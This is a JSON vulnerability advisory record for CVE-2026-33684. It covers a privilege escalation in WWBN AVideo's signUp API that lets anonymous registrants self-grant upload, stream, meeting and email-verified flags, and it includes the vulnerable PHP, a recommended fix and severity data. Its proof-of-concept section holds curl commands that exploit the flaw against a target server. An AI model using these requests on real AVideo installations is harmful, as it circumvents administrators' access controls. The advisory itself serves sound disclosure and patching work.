{"id":"CVE-2026-33684","aliases":["CVE-2026-33684","GHSA-8j8m-p79x-g4jm"],"related":[],"kind":"vulnerability","state":"published","title":"AVideo's Privilege AVideo: Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions","summary":"WWBN AVideo is an open source video platform. Prior to version 29.0, Privilege Escalation is possible through unguarded permission parameters in signUp API, which allows any user who can solve a CAPTCHA to self-grant elevated permissions during account registration. The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. By self-granting account attributes, attackers can mark their own accounts as email-verified without owning the address (bypassing email-gated functionality) and award themselves upload, streaming, and meeting-creation permissions, circumventing administrator access controls that intentionally restrict these capabilities for new users. This issue has been fixed in version 29.0","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WWBN AVideo is an open source video platform. Prior to version 29.0, Privilege Escalation is possible through unguarded permission parameters in signUp API, which allows any user who can solve a CAPTCHA to self-grant elevated permissions during account registration. The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. By self-granting account attributes, attackers can mark their own accounts as email-verified without owning the address (bypassing email-gated functionality) and award themselves upload, streaming, and meeting-creation permissions, circumventing administrator access controls that intentionally restrict these capabilities for new users. This issue has been fixed in version 29.0","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `set_api_signUp` method in the API plugin accepts `emailVerified`, `canUpload`, `canStream`, and `canCreateMeet` parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.\n\n## Details\n\nThe authentication check in `set_api_signUp` (`plugin/API/API.php:4222`) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):\n\n```php\n// plugin/API/API.php:4222-4232\nif ($obj->APISecret !== @$_REQUEST['APISecret']) {\n    if(empty($_REQUEST['captcha'])){\n        return new ApiObject(\"Captcha is required\");\n    }\n    require_once $global['systemRootPath'] . 'objects/captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n    if(!$valid){\n        return new ApiObject(\"Captcha is wrong, reload it and try again\");\n    }\n}\n```\n\nAfter this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:\n\n```php\n// plugin/API/API.php:4238-4249\nif (isset($_REQUEST['emailVerified'])) {\n    $global['emailVerified'] = intval($_REQUEST['emailVerified']);\n}\nif (isset($_REQUEST['canCreateMeet'])) {\n    $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);\n}\nif (isset($_REQUEST['canStream'])) {\n    $global['canStream'] = intval($_REQUEST['canStream']);\n}\nif (isset($_REQUEST['canUpload'])) {\n    $global['canUpload'] = intval($_REQUEST['canUpload']);\n}\n```\n\nThese `$global` values are then consumed by `User::save()` (`objects/user.php:829-840`), which overrides the user object's permission fields:\n\n```php\n// objects/user.php:829-840\nif (isset($global['emailVerified'])) {\n    $this->emailVerified = $global['emailVerified'];\n}\nif (isset($global['canCreateMeet'])) {\n    $this->canCreateMeet = $global['canCreateMeet'];\n}\nif (isset($global['canStream'])) {\n    $this->canStream = $global['canStream'];\n}\nif (isset($global['canUpload'])) {\n    $this->canUpload = $global['canUpload'];\n}\n```\n\nNote that even though `userCreate.json.php:90` sets `canUpload` from the site's default configuration, `User::save()` subsequently overrides it with the attacker-controlled `$global` value.\n\nThe codebase already uses `self::isAPISecretValid()` to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in `set_api_signUp`.\n\n## PoC\n\n```bash\n# Step 1: Get a CAPTCHA token\n# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)\n\n# Step 2: Register with elevated privileges\ncurl -X POST 'https://target/plugin/API/set.json.php' \\\n  -d 'APIName=signUp' \\\n  -d 'user=attacker' \\\n  -d 'pass=Password123!' \\\n  -d 'email=attacker@example.com' \\\n  -d 'name=Attacker' \\\n  -d 'captcha=VALID_CAPTCHA_TOKEN' \\\n  -d 'emailVerified=1' \\\n  -d 'canUpload=1' \\\n  -d 'canStream=1' \\\n  -d 'canCreateMeet=1'\n\n# Expected: Account created with default (restricted) permissions\n# Actual: Account created with upload, stream, and meet permissions enabled,\n#         plus email marked as verified\n\n# Step 3: Verify elevated permissions by logging in and checking profile\ncurl -X POST 'https://target/plugin/API/set.json.php' \\\n  -d 'APIName=signIn' \\\n  -d 'user=attacker' \\\n  -d 'pass=Password123!'\n# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1\n```\n\n## Impact\n\n- **Email verification bypass:** Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality\n- **Unauthorized upload access:** Self-granted upload permissions allow uploading potentially malicious video content to the platform\n- **Unauthorized streaming access:** Self-granted streaming permissions allow unauthorized live streaming\n- **Unauthorized meeting creation:** Self-granted meet permissions allow creating meetings on the platform\n- **Policy bypass:** Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented\n\n## Recommended Fix\n\nWrap the privilege parameter handling in an `isAPISecretValid()` check so that only admin-authenticated requests can set these values:\n\n```php\n// plugin/API/API.php — replace lines 4238-4249 with:\nif (self::isAPISecretValid()) {\n    if (isset($_REQUEST['emailVerified'])) {\n        $global['emailVerified'] = intval($_REQUEST['emailVerified']);\n    }\n    if (isset($_REQUEST['canCreateMeet'])) {\n        $global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);\n    }\n    if (isset($_REQUEST['canStream'])) {\n        $global['canStream'] = intval($_REQUEST['canStream']);\n    }\n    if (isset($_REQUEST['canUpload'])) {\n        $global['canUpload'] = intval($_REQUEST['canUpload']);\n    }\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"WWBN AVideo es una plataforma de video de código abierto. Antes de la versión 29.0, la escalada de privilegios es posible a través de parámetros de permisos desprotegidos en la API de signUp, lo que permite a cualquier usuario que pueda resolver un CAPTCHA auto-otorgarse permisos elevados durante el registro de la cuenta. El método set_api_signUp en el plugin de la API acepta los parámetros emailVerified, canUpload, canStream y canCreateMeet de la entrada proporcionada por el usuario y los aplica a las cuentas recién creadas sin verificar que la solicitud fue autenticada con un APISecret válido. Al auto-otorgarse atributos de cuenta, los atacantes pueden marcar sus propias cuentas como verificadas por correo electrónico sin poseer la dirección (eludiendo la funcionalidad restringida por correo electrónico) y otorgarse a sí mismos permisos de carga, transmisión y creación de reuniones, eludiendo los controles de acceso del administrador que restringen intencionalmente estas capacidades para los nuevos usuarios. Este problema ha sido solucionado en la versión 29.0","source":"nvd"}],"published":"2026-06-22T17:25:03.000Z","modified":"2026-10-24T21:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-862"],"affected":[{"ranges":[{"version":"< 29.0","status":"affected"}],"vendor":"WWBN","product":"AVideo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"29.0"}],"ecosystem":"Packagist","package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"ghsa"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/WWBN/AVideo/commit/061f242cba0e068cc1b461705fe839274b5038ff","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-16T12:54:09.239Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33684","url":"https://www.cve.org/CVERecord?id=CVE-2026-33684","licence":"CVE Terms of Use","modified":"2026-07-16T12:54:14.283Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8j8m-p79x-g4jm","url":"https://github.com/advisories/GHSA-8j8m-p79x-g4jm","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:08.218Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33684","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33684","licence":"Public domain","modified":"2026-10-24T21:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:28.343Z","epss":{"score":0.00245,"percentile":0.16863,"date":"2026-12-01T12:00:22.000Z"}}